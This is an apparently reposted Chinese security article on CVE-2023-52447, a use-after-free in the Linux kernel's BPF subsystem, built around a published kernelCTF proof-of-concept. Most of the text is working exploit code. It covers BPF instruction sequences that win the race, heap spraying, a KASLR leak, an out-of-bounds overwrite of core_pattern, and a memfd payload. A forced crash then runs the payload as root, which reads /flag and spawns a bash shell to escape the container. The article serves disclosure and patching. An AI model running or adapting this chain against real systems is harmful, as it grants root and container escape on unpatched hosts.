最近,研究人员公布了Linux 内核漏洞(编号为CVE-2023-52447 )的技术细节和概念验证 (PoC) 漏洞利用。该漏洞的 CVSS 评分为 7.8,影响 Linux 内核版本从 v5.8 到 v6.6,可能对依赖容器化进行安全隔离的系统造成严重影响。
从本质上讲,CVE-2023-52447 是Linux 内核 BPF 子系统中的释放后使用漏洞,具体与BPF 程序中数组映射指针的管理方式有关。BPF 是一个功能强大的框架,允许用户在内核中运行自定义程序,通常用于网络数据包过滤、性能监控和安全应用程序。然而,在这种情况下,漏洞源于某些 BPF 程序中不正确的引用计数。
当 BPF 程序持有来自array_of_maps的arraymap指针而未正确增加引用计数时,就会出现此问题。如果 BPF 程序执行耗时操作,则可能会允许另一个线程释放 arraymap 并回收内存,从而导致释放后使用的情况。
通过精心设计两个线程之间的竞争条件,即可利用此漏洞:
-
修改了受害者arraymap的max_entries和index_mask。
-
使用受害者arraymap来修改靠近array_of_maps的值索引0的arraymap为(core_pattern-struct_bpf_array_offset)。
-
更新 array_of_maps 以修改 core_pattern。
-
实现容器逃逸。
安全研究人员已在GitHub上提供了概念验证 (PoC) 漏洞,使安全团队能够更好地了解 CVE-2023-52447 漏洞及其利用方式。虽然此 PoC 是防御措施的重要资源,但这也意味着恶意行为者可以访问漏洞代码,这增加了修补和缓解的紧迫性。
幸运的是,该漏洞已在最近的内核补丁中得到解决。该问题已通过提交到 Linux 内核进行修复,强烈建议各组织更新到包含此补丁的最新内核版本。
漏洞技术概述
从https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=bba1dc0b55ac开始,免费的 bpf 映射不需要与 rcu_lock 同步。我们注意到 bpf 程序在 rcu_lock 下运行,从 array_of_maps 查找 arraymap 不会增加其引用计数。因此,这样的 bpf 程序允许我们在不增加其引用计数的情况下获取对 arraymap 的引用。
BPF_LD_MAP_FD(BPF_REG_9, array_of_map),
BPF_MAP_GET_ADDR(0, BPF_REG_8),
BPF_MOV64_REG(BPF_REG_9, BPF_REG_8),
BPF_MAP_GET_ADDR(
0,
BPF_REG_8), //store a arraymap from array_of_map without increase refcount at BPF_REG_8
总结一下,漏洞在于,如果数组映射指针来自 array_of_maps,bpf 程序可以保存该指针而不增加引用计数。
如果 bpf 首先将数组映射指针存储到一个寄存器中,并在程序中间执行一些耗时操作。
这为其他线程释放数组映射指针提供了机会,数组映射可以将其回收到另一个结构(如 array_of_maps)。在我们的漏洞利用中,arraymap 和 array_of_maps 都位于缓存 kmalloc-1024 下。
//store a arraymap from array_of_map without increase refcount at BPF_REG_8
BPF_LD_MAP_FD(BPF_REG_9, array_of_map),
BPF_MAP_GET_ADDR(0, BPF_REG_8),
BPF_MOV64_REG(BPF_REG_9, BPF_REG_8),
BPF_MAP_GET_ADDR(0,BPF_REG_8),
bpf_ringbuf_output是一个 bpf 函数,它使用 memcpy 将 buf 复制到行 [1] 中的另一个 buf 中。
BPF_CALL_4(bpf_ringbuf_output, struct bpf_map *, map, void *, data, u64, size,
u64, flags)
{
struct bpf_ringbuf_map *rb_map;
void *rec;
if (unlikely(flags & ~(BPF_RB_NO_WAKEUP | BPF_RB_FORCE_WAKEUP)))
return -EINVAL;
rb_map = container_of(map, struct bpf_ringbuf_map, map);
rec = __bpf_ringbuf_reserve(rb_map->rb, size);
if (!rec)
return -EAGAIN;
memcpy(rec, data, size); //[1]
bpf_ringbuf_commit(rec, flags, false /* discard */);
return 0;
}
如果 buf 很大,则需要一些时间才能完成。
延长释放和回收的竞争窗口将是一个不错的选择。
// do time comsume operation using BPF_FUNC_ringbuf_output copy large size buffer
BPF_MOV64_REG(BPF_REG_1, BPF_REG_6),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_7),
BPF_MOV64_IMM(BPF_REG_3, 0x10000000),
BPF_MOV64_IMM(BPF_REG_4, 0x0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_output)
一旦一个核心上的线程在 bpf 程序中处于繁忙状态。我们使用另一个核心中的另一个线程来释放和回收。使用可映射的 bpf 获取来自 bpf 的信号以通知我们,我们就可以开始释放。
// Create a mmapable arraymap to signal we have stored target arraymap
int signal = bpf_create_map_mmap(BPF_MAP_TYPE_ARRAY, 4, 8, 0x30, 0);
// mmap arraymap region for userspace to know signal.
signal_addr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED,
signal, 0);
线程0将值写入1我们的信号数组映射
BPF_LD_MAP_FD(BPF_REG_9, signal),
BPF_MAP_GET_ADDR(0, BPF_REG_7),
BPF_ST_MEM(
BPF_W, BPF_REG_7, 0,
1), // write value one to signal that we have stored target arraymap
thread1 忙等待直到 signal_addr 变为空闲1并启动目标
while (signal_addr[0] == 0)
;
// Free target
update_elem(array_of_map, 0, victim);
thread2 忙着等待 signal_addr 变为可用1,然后开始 spray 以将其回收为 array_of_maps。Max_entries 为 0x30 是为了确保在 kmalloc-1024 中回收 array_of_maps,并将其作为 arraymap 的缓存。
while (signal_addr[0] == 0)
;
for (int i = 0; i < 0x100; i++) {
spray_fd[i] = bpf_create_map(BPF_MAP_TYPE_ARRAY_OF_MAPS, 4, 4,
0x30, samplemap);
update_elem(spray_fd[i], 0, victim);
}
Bpf 程序将 BPF_REG_8 存储的映射地址视为 arrymap,但它是 arry_of_maps。
// Now BPF_REG_8 is freed and reallocate as array_of_map
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8,0),
我们可以通过畸形的arrymap泄露arrymap地址和array_map_ops。一旦我们知道array_map_ops内核地址,我们就可以找到kASLR基地址
gef➤ p &array_map_ops
$2 = (const struct bpf_map_ops *) 0xffffffff829c29e0 <array_map_ops>
gef➤ p _stext
$3 = {<text variable, no debug info>} 0xffffffff81000000 <startup_64>
BPF_LDX_MEM( BPF_DW, BPF_REG_0, BPF_REG_8, 0), // Now BPF_REG_8 is freed and reallocate as array_of_map
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_0, 0), // store a arrymap address to our arrymap as value
BPF_ALU64_IMM(BPF_ADD, BPF_REG_0, -0x110), // adjust address to make value as bpf_array.map
BPF_STX_MEM(BPF_W, BPF_REG_8, BPF_REG_0,0), //store our malformed arraymap info array_of_maps
漏洞技术细节
赢得比赛后的功绩
-
修改了受害者arraymap的max_entries和index_mask。
-
使用受害者arraymap来修改靠近array_of_maps的值索引0的arraymap为(core_pattern-struct_bpf_array_offset)。
-
更新 array_of_maps 以修改 core_pattern。
-
实现容器逃逸。
修改了受害者arraymap的max_entries和index_mask
由于该值是按照bpf_array.map调整的,所以我们可以创建一个bpf程序来修改map.max_entrieds和array->index_mask
BPF_LD_MAP_FD(BPF_REG_9, target),
BPF_MAP_GET_ADDR(0, BPF_REG_9),
BPF_MAP_GET_ADDR(4, BPF_REG_8),
BPF_ST_MEM(BPF_W, BPF_REG_8, 4, 0x800), //modify map.max_entries
BPF_MAP_GET_ADDR(0x20, BPF_REG_8),
BPF_ST_MEM(BPF_W, BPF_REG_8, 4,0xffff), //modify array->index_mask
static void *array_map_lookup_elem(struct bpf_map *map, void *key)
{
...
return array->value + (u64)array->elem_size * (index & array->index_mask);
static long array_map_update_elem(struct bpf_map *map, void *key, void *value,
u64 map_flags)
{
...
val = array->value +
(u64)array->elem_size * (index & array->index_mask);
因此稍后我们使用 bpf 系统调用在更大的索引上调用 array_map_lookup_elem/array_map_update_elem。
使用受害者arraymap来修改靠近array_of_maps的值索引0的arraymap为(core_pattern-struct_bpf_array_offset)
受害者越界访问以修改下一个块的内容。
使用堆风水。在受害者数组映射之前和之后分配一些数组映射。
// Allocate some array of maps before victim
for (int i = 0; i < 0x10; i++)
oob[i] = bpf_create_map(BPF_MAP_TYPE_ARRAY_OF_MAPS, 4, 4, 0x30,
samplemap);
victim = bpf_create_map(BPF_MAP_TYPE_ARRAY, 4, 8, 0x30, 0);
// Allocate some array of maps after victim
for (int i = 0; i < 0x10; i++)
oob[i + 0x10] = bpf_create_map(BPF_MAP_TYPE_ARRAY_OF_MAPS, 4, 4,
0x30, samplemap);
下一个块可以是 array_of_maps,我们覆盖其索引 0 arraymap。
// Store the address (core_pattern - struct_bpf_array_offset) we want to overwrite.
update_elem(victim, (0x400 + 0x110 - 0x110) / 8, kaddr);
更新 array_of_maps 以修改 core_pattern
创建另一个 bpf 程序来修改索引 0 arraymap,并且 core_pattern 将被覆盖。
BPF_LD_MAP_FD(BPF_REG_9, target),
BPF_MAP_GET_ADDR(0, BPF_REG_9),
BPF_MAP_GET_ADDR(0, BPF_REG_8), // BPF_REG_8 will point to core_pattern
BPF_MAP_GET_ADDR(1, BPF_REG_7), // BPF_REG_8 will point to core_pattern+8
BPF_MAP_GET_ADDR(2, BPF_REG_6), // BPF_REG_8 will point to core_pattern+16
BPF_LD_MAP_FD(BPF_REG_9, data),
// Modify core_pattern to |/proc/%P/fd/666 %P
BPF_MAP_GET(0, BPF_REG_4),
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_4, 0),
BPF_MAP_GET(1, BPF_REG_4),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_4, 0),
BPF_MAP_GET(2, BPF_REG_4),
BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_4, 0),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()
实现容器逃逸
core_pattern 被覆盖后为|/proc/%P/fd/666 %P:
然后我们使用 memfd 并在 fd 666 中写入可执行文件有效负载。
int check_core()
{
// Check if /proc/sys/kernel/core_pattern has been overwritten
char buf[0x100] = {};
int core = open("/proc/sys/kernel/core_pattern", O_RDONLY);
read(core, buf, sizeof(buf));
close(core);
return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0;
}
void crash(char *cmd)
{
int memfd = memfd_create("", 0);
SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff));
dup2(memfd, 666);
close(memfd);
while (check_core() == 0)
sleep(1);
puts("Root shell !!");
/* Trigger program crash and cause kernel to executes program from core_pattern which is our "root" binary */
*(size_t *)0 = 0;
}
稍后当 coredump 发生时,它将以 root 身份在 root 命名空间中执行我们的可执行文件:
*(size_t*)0=0; //trigger coredump
root 运行的代码如下:
// This section of code will be execute by root!
int pid = strtoull(argv[1], 0, 10);
int pfd = syscall(SYS_pidfd_open, pid, 0);
int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);
int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);
dup2(stdinfd, 0);
dup2(stdoutfd, 1);
dup2(stderrfd, 2);
/* Get flag and poweroff immediately to boost next round try in PR verification workflow*/
system("cat /flag");
execlp("bash", "bash", NULL);
项目地址:
https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-52447_cos
原文始发于微信公众号(Ots安全):CVE-2023-52447 的 PoC 漏洞利用版本:导致容器逃逸的 Linux 内核缺陷
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论